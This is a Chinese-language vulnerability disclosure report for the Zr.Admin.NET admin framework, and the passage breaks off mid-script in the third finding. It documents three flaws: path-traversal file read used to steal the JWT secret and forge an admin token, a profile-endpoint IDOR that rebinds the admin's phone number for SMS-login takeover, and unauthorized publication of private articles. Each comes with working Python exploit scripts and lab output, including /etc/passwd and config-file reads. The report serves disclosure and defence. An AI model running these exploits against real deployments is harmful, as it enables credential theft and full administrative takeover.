# Zr.Admin.NET 漏洞报告 软件名称:Zr.Admin.NET 开发者或厂商:izhaorui 代码仓库:https://github.com/izhaorui/Zr.Admin.NET ## 1. 下载接口任意文件读取导致管理员令牌伪造 (CVE-2026-129464) 简要描述:拥有账号的用户可以读取服务器上的配置文件,再用其中的 JWT 密钥伪造管理员令牌。 影响版本:0ee1ab8a(2023-12-16)至 eb9228a2(2026-10-22) 漏洞引入:[Zr.Admin.NET commit 0ee1ab8a](https://github.com/izhaorui/Zr.Admin.NET/commit/0ee1ab8af5e3861766746d25acba1184111befcb) 前置条件:攻击者拥有一个账号。 ### 漏洞成因 `CommonController.DownloadFile` 把请求参数 `path` 当作服务器文件路径。相关代码如下: ```csharp // ZR.Admin.WebApi/Controllers/CommonController.cs:220-241 commit eb9228a230 [HttpGet] [ActionPermissionFilter(Permission = "common")] [Log(Title = "下载文件", IsSaveResponseData = false)] public IActionResult DownloadFile(string? path, long fileId = 0) { var tempPath = path; if (fileId > 0) { var fileInfo = SysFileService.GetById(fileId); if (fileInfo != null) { tempPath = fileInfo.FileUrl; } } string fullPath = tempPath; if (tempPath.StartsWith("/") && WebHostEnvironment.IsDevelopment()) { fullPath = Path.Combine(WebHostEnvironment.WebRootPath, tempPath.ReplaceFirst("/", "")); } string fileName = Path.GetFileName(fullPath); return DownFile(fullPath, fileName); } ``` `Permission = "common"` 在权限过滤器里表示登录即放行,零角色零权限的账号同样可以调用(`ZR.ServiceCore/Filters/ActionPermissionFilter.cs:114`)。生产环境下 `IsDevelopment()` 为 false,`path` 原样交给 `DownFile`: ```csharp // Infrastructure/Controllers/BaseController.cs:109-120 commit eb9228a230 protected IActionResult DownFile(string path, string fileName) { if (!System.IO.File.Exists(path)) { return ToResponse(ResultCode.CUSTOM_ERROR, "文件不存在"); } var stream = System.IO.File.OpenRead(path); //创建文件流 Response.Headers.Append("Access-Control-Expose-Headers", "Content-Disposition"); return File(stream, "application/octet-stream", HttpUtility.UrlEncode(fileName)); } ``` 该路径未经 `Path.GetFullPath` 规范化,基准目录未做限定,绝对路径与 `../` 均可使用。 读取到 `JwtSettings:SecretKey` 之后,即可伪造令牌。`JwtUtil.ValidateJwtToken` 只把 claim 里的 `userdata` 反序列化成 `LoginUser`: ```csharp // Infrastructure/JwtUtil.cs:139-155 commit eb9228a230 public static LoginUser? ValidateJwtToken(JwtSecurityToken jwtSecurityToken) { try { if (jwtSecurityToken == null) return null; IEnumerable claims = jwtSecurityToken?.Claims; LoginUser loginUser = null; var userData = claims.FirstOrDefault(x => x.Type == ClaimTypes.UserData)?.Value; if (userData != null) { loginUser = JsonConvert.DeserializeObject(userData); loginUser.ExpireTime = jwtSecurityToken.ValidTo; } return loginUser; } catch (Exception ex) { Console.WriteLine(ex.Message); return null; } } ``` 令牌里的 `RoleKeys` 与 `Permissions` 决定后续的授权结果。攻击者可以为 `UserId=1` 签发一个带 `RoleKeys=["admin"]` 的令牌,后续接口按管理员身份处理。 ### 复现环境搭建 实验环境用仓库自带的 Dockerfile 构建镜像。该 Dockerfile 的 `restore` 阶段缺少 `ZR.Workflow` 的 csproj,构建前补一行: ```bash git clone https://github.com/izhaorui/Zr.Admin.NET cd Zr.Admin.NET sed -i 's#COPY \["ZR.Mall/ZR.Mall.csproj", "ZR.Mall/"\]#&\nCOPY ["ZR.Workflow/ZR.Workflow.csproj", "ZR.Workflow/"]#' ZR.Admin.WebApi/Dockerfile docker build -f ZR.Admin.WebApi/Dockerfile -t zradmin-webapi:latest . ``` 官方 compose 文件没有数据库服务,实验环境补一个 MySQL,并把配置挂载进容器: ```yaml services: db: image: mysql:8.0 command: --character-set-server=utf8mb4 --collation-server=utf8mb4_general_ci environment: MYSQL_ROOT_PASSWORD: root123456 MYSQL_DATABASE: zrdb healthcheck: test: ["CMD", "mysqladmin", "ping", "-h", "127.0.0.1", "-uroot", "-proot123456"] interval: 5s timeout: 5s retries: 30 app: image: zradmin-webapi:latest depends_on: db: condition: service_healthy ports: - "1888:8888" volumes: - ./appsettings.Production.json:/app/appsettings.Production.json ``` `appsettings.Production.json` 内容如下: ```json { "urls": "http://+:8888", "dbConfigs": [ { "Conn": "Data Source=db;Database=zrdb;User ID=root;Password=root123456;CharSet=utf8mb4;SslMode=None;AllowPublicKeyRetrieval=True;pooling=true;Min Pool Size=1;Max Pool Size=50", "DbType": 0, "ConfigId": "0", "IsAutoCloseConnection": true, "DbName": "zrdb" } ], "CodeGenDbConfig": { "Conn": "Data Source=db;Database=zrdb;User ID=root;Password=root123456;CharSet=utf8mb4;SslMode=None;AllowPublicKeyRetrieval=True;pooling=true;Min Pool Size=1;Max Pool Size=50", "DbType": 0, "DbName": "zrdb" }, "ModuleInit": { "Workflow": true, "Mall": true, "Member": true }, "workId": "1", "JwtSettings": { "Issuer": "ZRAdmin.NET", "Audience": "ZRAdmin.NET", "SecretKey": "ZrAdminVulnLabSecretKey20261113-x9Q", "Expire": 1440, "RefreshTokenTime": 30, "TokenType": "Bearer" }, "SmsOptions": { "Enabled": false } } ``` 初始化数据库并启动: ```bash docker compose up -d db docker compose run --rm --no-deps app dotnet ZR.Admin.WebApi.dll --initdb docker compose up -d app ``` 环境启动后用 `admin/123456` 登录后台,新建账号 `low1`,密码 `Aa123456!`,不分配角色。 登录脚本如下,`login` 返回该账号的 JWT: ```python import base64, re, requests B = "http://127.0.0.1:1888" def login(user, password): d = requests.get(f"{B}/captchaImage").json()["data"] code = "".join(re.findall(r"]*>(.*?)", base64.b64decode(d["img"].split("base64,", 1)[1]).decode())) return requests.post(f"{B}/login", json={"username": user, "password": password, "code": code, "uuid": d["uuid"]}).json()["data"] ``` ### 复现过程 用 `low1` 登录,并读取 `/etc/passwd` 与配置文件: ```python import requests B = "http://127.0.0.1:1888" tok = login("low1", "Aa123456!") print("low1 token:", tok) H = {"Authorization": f"Bearer {tok}"} for p in ["/etc/passwd", "/app/appsettings.Production.json"]: r = requests.get(f"{B}/common/DownloadFile", params={"path": p}, headers=H) print(f"\nGET /common/DownloadFile?path={p} -> HTTP {r.status_code}, {len(r.content)} bytes") print(r.text) ``` 输出如下: ``` low1 token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkJlYXJlciJ9.eyJwcmltYXJ5c2lkIjoiMiIsIm5hbWVpZCI6IjIiLCJ1bmlxdWVfbmFtZSI6ImxvdzEiLCJncm91cHNpZCI6IjAiLCJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dzLzIwMDgvMDYvaWRlbnRpdHkvY2xhaW1zL3VzZXJkYXRhIjoie1wiVXNlcklkXCI6MixcIlNlc3Npb25JZFwiOlwiYTU2ZmI5MmE0MTAzNDhhMjg1NzUxNDliYjEyOGVjYWZcIixcIkRlcHRJZFwiOjAsXCJVc2VyTmFtZVwiOlwibG93MVwiLFwiTmlja05hbWVcIjpcImxvdzFcIixcIlJvbGVLZXlzXCI6W10sXCJSb2xlc1wiOltdLFwiRXhwaXJlVGltZVwiOlwiMDAwMS0wMS0wMVQwMDowMDowMFwiLFwiVGVuYW50SWRcIjpudWxsLFwiUGVybWlzc2lvbnNcIjpbXSxcIlNjb3BlVHlwZVwiOjB9IiwibmJmIjoxNzk0NTc0NDI1LCJleHAiOjE3OTQ2NjA4MjUsImlhdCI6MTc5NDU3NDQyNSwiaXNzIjoiWlJBZG1pbi5ORVQiLCJhdWQiOiJaUkFkbWluLk5FVCJ9.Edp_XAj1bd6Y6HyJHVvcfJSBkfuLBLJrVfVasWHL5VA GET /common/DownloadFile?path=/etc/passwd -> HTTP 200, 874 bytes root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin _apt:x:42:65534::/nonexistent:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin app:x:1654:1654::/home/app:/bin/sh GET /common/DownloadFile?path=/app/appsettings.Production.json -> HTTP 200, 1320 bytes { "urls": "http://+:8888", "dbConfigs": [ { "Conn": "Data Source=db;Database=zrdb;User ID=root;Password=root123456;CharSet=utf8mb4;SslMode=None;AllowPublicKeyRetrieval=True;pooling=true;Min Pool Size=1;Max Pool Size=50", "DbType": 0, "ConfigId": "0", "IsAutoCloseConnection": true, "DbName": "zrdb" } ], "CodeGenDbConfig": { "Conn": "Data Source=db;Database=zrdb;User ID=root;Password=root123456;CharSet=utf8mb4;SslMode=None;AllowPublicKeyRetrieval=True;pooling=true;Min Pool Size=1;Max Pool Size=50", "DbType": 0, "DbName": "zrdb" }, "ModuleInit": { "Workflow": true, "Mall": true, "Member": true }, "workId": "1", "JwtSettings": { "Issuer": "ZRAdmin.NET", "Audience": "ZRAdmin.NET", "SecretKey": "ZrAdminVulnLabSecretKey20261113-x9Q", "Expire": 1440, "RefreshTokenTime": 30, "TokenType": "Bearer" }, "SmsOptions": { "Enabled": false } } ``` 用读到的 `SecretKey` 签发管理员令牌,再访问管理员接口: ```python import base64, hashlib, hmac, json, time, requests B = "http://127.0.0.1:1888" secret = "ZrAdminVulnLabSecretKey20261113-x9Q" def b64(o): return base64.urlsafe_b64encode(json.dumps(o, separators=(",", ":")).encode()).rstrip(b"=").decode() now = int(time.time()) body = {"primarysid": "1", "nameid": "1", "unique_name": "admin", "groupsid": "0", "http://schemas.microsoft.com/ws/2008/06/identity/claims/userdata": json.dumps({"UserId": 1, "UserName": "admin", "DeptId": 0, "RoleKeys": ["admin"], "Permissions": ["*:*:*"]}), "nbf": now, "exp": now + 3600, "iat": now, "iss": "ZRAdmin.NET", "aud": "ZRAdmin.NET"} msg = f"{b64({'alg': 'HS256', 'typ': 'Bearer'})}.{b64(body)}".encode() token = msg.decode() + "." + base64.urlsafe_b64encode( hmac.new(secret.encode(), msg, hashlib.sha256).digest()).decode().rstrip("=") print("forged token:", token) H = {"Authorization": f"Bearer {token}"} print(requests.get(f"{B}/system/user/list", params={"pageNum": 1, "pageSize": 2}, headers=H).text) ``` 输出如下: ``` secret: ZrAdminVulnLabSecretKey20261113-x9Q forged token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkJlYXJlciJ9.eyJwcmltYXJ5c2lkIjoiMSIsIm5hbWVpZCI6IjEiLCJ1bmlxdWVfbmFtZSI6ImFkbWluIiwiZ3JvdXBzaWQiOiIwIiwiaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93cy8yMDA4LzA2L2lkZW50aXR5L2NsYWltcy91c2VyZGF0YSI6IntcIlVzZXJJZFwiOiAxLCBcIlVzZXJOYW1lXCI6IFwiYWRtaW5cIiwgXCJEZXB0SWRcIjogMCwgXCJSb2xlS2V5c1wiOiBbXCJhZG1pblwiXSwgXCJQZXJtaXNzaW9uc1wiOiBbXCIqOio6KlwiXX0iLCJuYmYiOjE3OTQ1NzQ0MjYsImV4cCI6MTc5NDU3ODAyNiwiaWF0IjoxNzk0NTc0NDI2LCJpc3MiOiJaUkFkbWluLk5FVCIsImF1ZCI6IlpSQWRtaW4uTkVUIn0.GMX_pluUUjGb4smC1nmnB8lSA0pz5-SY5CDdFmkBkvY GET /system/user/list?pageNum=1&pageSize=2 -> 200 1011B { "code": 200, "msg": "success", "data": { "pageSize": 2, "pageIndex": 1, "totalNum": 1, "totalPage": 1, "result": [ { "userId": 1, "userName": "admin", "nickName": "管理员", "email": null, "remark": "管理员", "phonenumber": null, "avatar": null, "sex": 0, "password": "E10ADC3949BA59ABBE56E057F20F883E", "status": 0, "loginIP": "172.24.0.1", "loginDate": "2026-11-13 20:53:44", "deptId": 0, "leaderId": null, "leaderName": null, "welcomeContent": null, "pwdUpdateTime": null, "twoFactorEnabled": 0, "create_time": "2026-11-13 12:53:33", "create_by": null, "update_time": null, "update_by": null, "isAdmin": true, "deptName": null, "roleIds": null, "postIds": null, "roles": null, "welcomeMessage": "晚上好" } ], "extra": {} } } ``` `isAdmin` 为 `true`,返回内容包含管理员账号的密码哈希。 ## 2. 个人资料接口越权修改导致管理员账号接管 (CVE-2026-129465) 简要描述:拥有账号的用户可以改写其他账号的手机号,再用短信验证码登录该账号,从而接管管理员账号。 影响版本:af07ffc5(2022-03-04)至 eb9228a2(2026-10-22) 漏洞引入:[Zr.Admin.NET commit af07ffc5](https://github.com/izhaorui/Zr.Admin.NET/commit/af07ffc5d18e7876d3780d1ff5ee776b80950399) 前置条件:攻击者拥有一个账号,能接收短信,并知道目标账号的 UserId(默认安装中管理员为 1)。 ### 漏洞成因 `SysProfileController.UpdateProfile` 从请求体读取整个 `SysUserDto`,其中包含 `UserId`: ```csharp // ZR.Admin.WebApi/Controllers/System/SysProfileController.cs:62-75 commit eb9228a230 [HttpPut] [ActionPermissionFilter(Permission = "common")] [Log(Title = "修改信息", BusinessType = BusinessType.UPDATE)] public IActionResult UpdateProfile([FromBody] SysUserDto userDto) { if (userDto == null) { throw new CustomException(ResultCode.PARAM_ERROR, "请求参数错误"); } var user = userDto.Adapt().ToUpdate(HttpContext); int result = UserService.ChangeUser(user); return ToResponse(result); } ``` `ChangeUser` 按 `user.UserId` 更新,更新的字段包含 `Phonenumber` 与 `Status`,没有校验当前登录用户与该 `UserId` 的关系: ```csharp // ZR.ServiceCore/Services/SysUserService.cs:220-236 commit eb9228a230 public int ChangeUser(SysUser user) { user.Update_time = DateTime.Now; var result = Update(user, t => new { t.NickName, t.Email, t.Phonenumber, t.DeptId, t.LeaderId, t.Status, t.Sex, t.PostIds, t.Remark, t.Update_by, t.Update_time }, true); ``` 同文件的 `ChangeUserStatus` 调用了 `CheckUserAllowed`(`SysUserService.cs:312-315`),`ChangeUser` 没有调用。 该接口只接受 `UserId`,不接受用户名,所以需要目标账号的编号:默认安装中管理员为 `1`;目标账号发过文章时,匿名文章详情也会返回作者的 `userId`。 手机号改写之后,匿名接口 `/checkMobile` 会把验证码发到该号码,匿名接口 `/PhoneLogin` 按手机号签发令牌: ```csharp // ZR.Admin.WebApi/Controllers/System/SysLoginController.cs:470-495 commit eb9228a230 [HttpPost("/checkMobile")] [Log(Title = "发送短息", BusinessType = BusinessType.INSERT)] [AllowAnonymous] public IActionResult CheckMobile([FromBody] PhoneLoginDto dto) { dto.LoginIP = HttpContextExtension.GetClientUserIp(HttpContext); var uid = HttpContext.GetUId(); sysTenantService.CheckTenant(dto.TenantId); if (dto.SendType == 0) { var info = sysUserService.GetFirst(f => f.Phonenumber == dto.PhoneNum) ?? throw new CustomException(ResultCode.CUSTOM_ERROR, "该手机号不存在", false); uid = info.UserId; } ``` ```csharp // ZR.Admin.WebApi/Controllers/System/SysLoginController.cs:516-549 commit eb9228a230 [Route("PhoneLogin")] [HttpPost] [Log(Title = "手机号登录", IsSaveResponseData = false)] [AllowAnonymous] public IActionResult PhoneLogin([FromBody] PhoneLoginDto loginBody) { if (loginBody == null) { throw new CustomException("请求参数错误"); } loginBody.LoginIP = HttpContextExtension.GetClientUserIp(HttpContext); sysLoginService.CheckLockUser(loginBody.PhoneNum); if (!CacheService.CheckPhoneCode(loginBody.PhoneNum, loginBody.PhoneCode)) { sysLoginService.RecordLoginFailure(loginBody.PhoneNum); ... } ``` `PhoneLogin` 只比对手机号与验证码,通过后为该手机号所属账号签发令牌。 ### 复现环境搭建 沿用第 1 节的实验环境。每次复现前执行 `docker compose down -v` 清空数据卷,再按第 1 节重新初始化。 ### 复现过程 用 `low1` 登录,把自己的手机号写到 `UserId=1` 上,再让服务端向该号码发送验证码: ```python import requests B = "http://127.0.0.1:1888" low = login("low1", "Aa123456!") print("low1 token:", low) H = {"Authorization": f"Bearer {low}"} r = requests.put(f"{B}/system/user/profile", headers=H, json={ "userId": 1, "nickName": "PWNED", "phonenumber": "13800138000", "status": 0}) print("PUT /system/user/profile ->", r.status_code, r.text.strip()) r = requests.post(f"{B}/checkMobile", json={"phoneNum": "13800138000", "sendType": 0}) print("POST /checkMobile ->", r.status_code, r.text.strip()) ``` 输出如下: ``` low1 token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkJlYXJlciJ9.eyJwcmltYXJ5c2lkIjoiMiIsIm5hbWVpZCI6IjIiLCJ1bmlxdWVfbmFtZSI6ImxvdzEiLCJncm91cHNpZCI6IjAiLCJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dzLzIwMDgvMDYvaWRlbnRpdHkvY2xhaW1zL3VzZXJkYXRhIjoie1wiVXNlcklkXCI6MixcIlNlc3Npb25JZFwiOlwiZTNiYzYxNTkwY2Y5NGJjY2FiNDQ2MTBmYTQ4NjkzZTZcIixcIkRlcHRJZFwiOjAsXCJVc2VyTmFtZVwiOlwibG93MVwiLFwiTmlja05hbWVcIjpcImxvdzFcIixcIlJvbGVLZXlzXCI6W10sXCJSb2xlc1wiOltdLFwiRXhwaXJlVGltZVwiOlwiMDAwMS0wMS0wMVQwMDowMDowMFwiLFwiVGVuYW50SWRcIjpudWxsLFwiUGVybWlzc2lvbnNcIjpbXSxcIlNjb3BlVHlwZVwiOjB9IiwibmJmIjoxNzk0NTc0NDczLCJleHAiOjE3OTQ2NjA4NzMsImlhdCI6MTc5NDU3NDQ3MywiaXNzIjoiWlJBZG1pbi5ORVQiLCJhdWQiOiJaUkFkbWluLk5FVCJ9.6BVEFcSSNiETvRuYxj_00kIxfQm_8e79WaNbPMxRV3I PUT /system/user/profile -> 200 { "code": 200, "msg": "success" } POST /checkMobile -> 200 { "code": 200, "msg": "success", "data": 1 } ``` 从数据库确认管理员记录被改写: ```bash docker compose exec db mysql -uroot -proot123456 -e \ "select UserId,UserName,NickName,Phonenumber,Status from zrdb.sys_user where UserId in (1,2)" ``` ``` UserId UserName NickName Phonenumber Status 1 admin PWNED 13800138000 0 2 low1 low1 NULL 0 ``` 生产环境中,该短信会被发到攻击者的手机上。实验环境没有配置真实 SMS 服务,因此收不到短信。我们从容器日志中读验证码: ```bash docker compose exec app sh -c 'grep "模拟短信" logs/all.log | tail -1' ``` ``` 2026-11-13 20:54:33.4671 | 0 | 0HNQ1GL0RU7G6 | INFO | ZR.ServiceCore.Sms.DefaultSmsSender | ::ffff:172.25.0.1 | - | http://127.0.0.1/checkMobile | 【模拟短信】手机号=13800138000,模板=,内容=验证码270025,有效期10分钟。 | | | - ``` 用它登录: ```python import requests B = "http://127.0.0.1:1888" r = requests.post(f"{B}/PhoneLogin", json={"phoneNum": "13800138000", "phoneCode": "270025"}) print("POST /PhoneLogin ->", r.status_code, r.text.strip()) tok = r.json()["data"] print("\nadmin token:", tok) H = {"Authorization": f"Bearer {tok}"} print(requests.get(f"{B}/system/user/list", params={"pageNum": 1, "pageSize": 3}, headers=H).text) ``` 输出如下: ``` POST /PhoneLogin -> 200 { "code": 200, "msg": "success", "data": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkJlYXJlciJ9.eyJwcmltYXJ5c2lkIjoiMSIsIm5hbWVpZCI6IjEiLCJ1bmlxdWVfbmFtZSI6ImFkbWluIiwiZ3JvdXBzaWQiOiIwIiwiaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93cy8yMDA4LzA2L2lkZW50aXR5L2NsYWltcy91c2VyZGF0YSI6IntcIlVzZXJJZFwiOjEsXCJTZXNzaW9uSWRcIjpcImYzMWM2ZDQ2OGQwMjRhNDRhMzJmMzNlY2UxZWVlNGQxXCIsXCJEZXB0SWRcIjowLFwiVXNlck5hbWVcIjpcImFkbWluXCIsXCJOaWNrTmFtZVwiOlwiUFdORURcIixcIlJvbGVLZXlzXCI6W1wiYWRtaW5cIl0sXCJSb2xlc1wiOlt7XCJSb2xlSWRcIjoxLFwiUm9sZUtleVwiOlwiYWRtaW5cIixcIkRhdGFTY29wZVwiOjF9XSxcIkV4cGlyZVRpbWVcIjpcIjAwMDEtMDEtMDFUMDA6MDA6MDBcIixcIlRlbmFudElkXCI6bnVsbCxcIlBlcm1pc3Npb25zXCI6W1wiKjoqOipcIl0sXCJTY29wZVR5cGVcIjo0fSIsIm5iZiI6MTc5NDU3NDQ3NCwiZXhwIjoxNzk0NjYwODc0LCJpYXQiOjE3OTQ1NzQ0NzQsImlzcyI6IlpSQWRtaW4uTkVUIiwiYXVkIjoiWlJBZG1pbi5ORVQifQ.VL0nZBENI61_l5RLyfT9GndwnsDhs0HfwBHw3DmtNZk" } admin token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkJlYXJlciJ9.eyJwcmltYXJ5c2lkIjoiMSIsIm5hbWVpZCI6IjEiLCJ1bmlxdWVfbmFtZSI6ImFkbWluIiwiZ3JvdXBzaWQiOiIwIiwiaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93cy8yMDA4LzA2L2lkZW50aXR5L2NsYWltcy91c2VyZGF0YSI6IntcIlVzZXJJZFwiOjEsXCJTZXNzaW9uSWRcIjpcImYzMWM2ZDQ2OGQwMjRhNDRhMzJmMzNlY2UxZWVlNGQxXCIsXCJEZXB0SWRcIjowLFwiVXNlck5hbWVcIjpcImFkbWluXCIsXCJOaWNrTmFtZVwiOlwiUFdORURcIixcIlJvbGVLZXlzXCI6W1wiYWRtaW5cIl0sXCJSb2xlc1wiOlt7XCJSb2xlSWRcIjoxLFwiUm9sZUtleVwiOlwiYWRtaW5cIixcIkRhdGFTY29wZVwiOjF9XSxcIkV4cGlyZVRpbWVcIjpcIjAwMDEtMDEtMDFUMDA6MDA6MDBcIixcIlRlbmFudElkXCI6bnVsbCxcIlBlcm1pc3Npb25zXCI6W1wiKjoqOipcIl0sXCJTY29wZVR5cGVcIjo0fSIsIm5iZiI6MTc5NDU3NDQ3NCwiZXhwIjoxNzk0NjYwODc0LCJpYXQiOjE3OTQ1NzQ0NzQsImlzcyI6IlpSQWRtaW4uTkVUIiwiYXVkIjoiWlJBZG1pbi5ORVQifQ.VL0nZBENI61_l5RLyfT9GndwnsDhs0HfwBHw3DmtNZk GET /system/user/list?pageNum=1&pageSize=3 -> 200 1863B { "code": 200, "msg": "success", "data": { "pageSize": 3, "pageIndex": 1, "totalNum": 2, "totalPage": 1, "result": [ { "userId": 1, "userName": "admin", "nickName": "PWNED", "email": null, "remark": "管理员", "phonenumber": "13800138000", "avatar": null, "sex": 0, "password": "E10ADC3949BA59ABBE56E057F20F883E", "status": 0, "loginIP": "172.25.0.1", "loginDate": "2026-11-13 20:54:35", "deptId": 0, "leaderId": null, "leaderName": null, "welcomeContent": null, "pwdUpdateTime": null, "twoFactorEnabled": 0, "create_time": "2026-11-13 12:54:21", "create_by": null, "update_time": "2026-11-13 12:54:33", "update_by": "low1", "isAdmin": true, "deptName": null, "roleIds": null, "postIds": null, "roles": null, "welcomeMessage": "晚上好" }, { "userId": 2, "userName": "low1", "nickName": "low1", "email": null, "remark": null, "phonenumber": null, "avatar": null, "sex": 0, "password": "836E5D18D15F021BB70D5F97F0A1C0B0", "status": 0, "loginIP": "172.25.0.1", "loginDate": "2026-11-13 20:54:33", "deptId": 0, "leaderId": null, "leaderName": null, "welcomeContent": null, "pwdUpdateTime": null, "twoFactorEnabled": 0, "create_time": "2026-11-13 12:54:32", "create_by": "admin", "update_time": null, "update_by": null, "isAdmin": false, "deptName": null, "roleIds": null, "postIds": null, "roles": null, "welcomeMessage": "晚上好" } ], "extra": {} } } ``` 返回的令牌属于 `admin`,`update_by` 记录为 `low1`,`nickName` 已变成 `PWNED`。 ## 3. 越权读取私密文章 (CVE-2026-129455) 简要描述:拥有账号的用户可以修改他人文章的置顶状态与可见范围,把私密文章改成公开后读取正文。 影响版本:e6ceaf47(2024-04-29)至 eb9228a2(2026-10-22) 漏洞引入:[Zr.Admin.NET commit e6ceaf47](https://github.com/izhaorui/Zr.Admin.NET/commit/e6ceaf47548f1a485f3ba3f4c139905e90fee0a2) 前置条件:攻击者有账号;目标实例中存在其他用户发布的私密文章。 ### 漏洞成因 daef6af0 在管理端 `ArticleController` 中加入这两个操作时,为其标注了 `system:article:update` 权限;e6ceaf4 新增的 `FrontArticleController` 却把它们开放给了所有已登录用户。`ChangePublic` 只标了 `common`,归属校验比较的是请求体里的 `userId`: ```csharp // ZR.Admin.WebApi/Controllers/Content/FrontArticleController.cs:134-152 commit eb9228a230 [HttpPut("changePublic")] [ActionPermissionFilter(Permission = "common")] public IActionResult ChangePublic([FromBody] Article parm) { if (parm == null) { return ToResponse(ResultCode.CUSTOM_ERROR); } var userId = HttpContext.GetUId(); if (userId != parm.UserId) { return ToResponse(ResultCode.CUSTOM_ERROR, "操作失败"); } var response = _ArticleService.ChangeArticlePublic(parm); return SUCCESS(response); } ``` 把 `parm.UserId` 填成自己的账号即可通过校验,而 `ChangeArticlePublic` 只按 `Cid` 更新: ```csharp // ZR.Service/Content/ArticleService.cs:430-438 commit eb9228a230 public int ChangeArticlePublic(Article model) { var response = Update(w => w.Cid == model.Cid, it => new Article() { IsPublic = model.IsPublic, }); return response; } ``` `Top` 没有这段校验(`FrontArticleController.cs:122-131`),`TopArticle` 同样只按 `Cid` 更新 `IsTop`(`ArticleService.cs:402-410`)。文章详情接口是匿名的(`FrontArticleController.cs:191-194`),私密文章被改成公开后,匿名请求即返回正文。 ### 复现环境搭建 沿用第 1 节的实验环境。每次复现前执行 `docker compose down -v` 清空数据卷,再按第 1 节重新初始化。 ### 复现过程 管理员发布一篇私密文章: ```python import requests B = "http://127.0.0.1:1888" admin = {"Authorization": f"Bearer {login('admin', '123456')}"} r = requests.post(f"{B}/front/article/publish", headers=admin, json={ "title": "Q3 payroll review", "content": "

CFO salary 480000, bank account 6222 0000 1111 2222

", "isPublic": 0, "isTop": 0}) cid = r.json()["data"]["cid"] print("admin POST /front/article/publish -> cid=%d, isPublic=%d, userId=%d" % (cid, r.json()["data"]["isPublic"], r.json()["data"]["userId"])) ``` 输出如下: ``` admin token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkJlYXJlciJ9.eyJwcmltYXJ5c2lkIjoiMSIsIm5hbWVpZCI6IjEiLCJ1bmlxdWVfbmFtZSI6ImFkbWluIiwiZ3JvdXBzaWQiOiIwIiwiaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93cy8yMDA4LzA2L2lkZW50aXR5L2NsYWltcy91c2VyZGF0YSI6IntcIlVzZXJJZFwiOjEsXCJTZXNzaW9uSWRcIjpcIjk2NDIxODA4NDQ0ZjQ3YWViZjdlNTU5ZDI3YmNjY2M4XCIsXCJEZXB0SWRcIjowLFwiVXNlck5hbWVcIjpcImFkbWluXCIsXCJOaWNrTmFtZVwiOlwi566h55CG5ZGYXCIsXCJSb2xlS2V5c1wiOltcImFkbWluXCJdLFwiUm9sZXNcIjpbe1wiUm9sZUlkXCI6MSxcIlJvbGVLZXlcIjpcImFkbWluXCIsXCJEYXRhU2NvcGVcIjoxfV0sXCJFeHBpcmVUaW1lXCI6XCIwMDAxLTAxLTAxVDAwOjAwOjAwXCIsXCJUZW5hbnRJZFwiOm51bGwsXCJQZXJtaXNzaW9uc1wiOltcIio6KjoqXCJdLFwiU2NvcGVUeXBlXCI6NH0iLCJuYmYiOjE3OTQ1NzQzMzEsImV4cCI6MTc5NDY2MDczMSwiaWF0IjoxNzk0NTc0MzMxLCJpc3MiOiJaUkFkbWluLk5FVCIsImF1ZCI6IlpSQWRtaW4uTkVUIn0.sn7FtFWfhYaJM5Nd66250nEuwrylyIWYD3uxU2xXw8Q low1 token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkJlYXJlciJ9.eyJwcmltYXJ5c2lkIjoiMiIsIm5hbWVpZCI6IjIiLCJ1bmlxdWVfbmFtZSI6ImxvdzEiLCJncm91cHNpZCI6IjAiLCJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dzLzIwMDgvMDYvaWRlbnRpdHkvY2xhaW1zL3VzZXJkYXRhIjoie1wiVXNlcklkXCI6MixcIlNlc3Npb25JZFwiOlwiZDZkNGNmYTVhYzI3NGZjMmFhNDM3NTJlMWUzYmQwYzNcIixcIkRlcHRJZFwiOjAsXCJVc2VyTmFtZVwiOlwibG93MVwiLFwiTmlja05hbWVcIjpcImxvdzFcIixcIlJvbGVLZXlzXCI6W10sXCJSb2xlc1wiOltdLFwiRXhwaXJlVGltZVwiOlwiMDAwMS0wMS0wMVQwMDowMDowMFwiLFwiVGVuYW50SWRcIjpudWxsLFwiUGVybWlzc2lvbnNcIjpbXSxcIlNjb3BlVHlwZVwiOjB9IiwibmJmIjoxNzk0NTc0MzMyLCJleHAiOjE3OTQ2NjA3MzIsImlhdCI6MTc5NDU3NDMzMiwiaXNzIjoiWlJBZG1pbi5ORVQiLCJhdWQiOiJaUkFkbWluLk5FVCJ9.jVLpmqhY2IjEhhstzG8pXD6s4qnxnhiCKXt1T0IaFTs admin POST /front/article/publish -> cid=1, isPublic=0, userId=1 ``` 匿名读取该文章,返回访问失败: ```python r = requests.get(f"{B}/front/article/1") print(r.status_code, r.text) ``` ``` 200 { "code": 110, "msg": "访问失败" } ``` `low1` 把自己的 `userId` 填进请求体,把这篇私密文章改成公开: ```python low = {"Authorization": f"Bearer {login('low1', 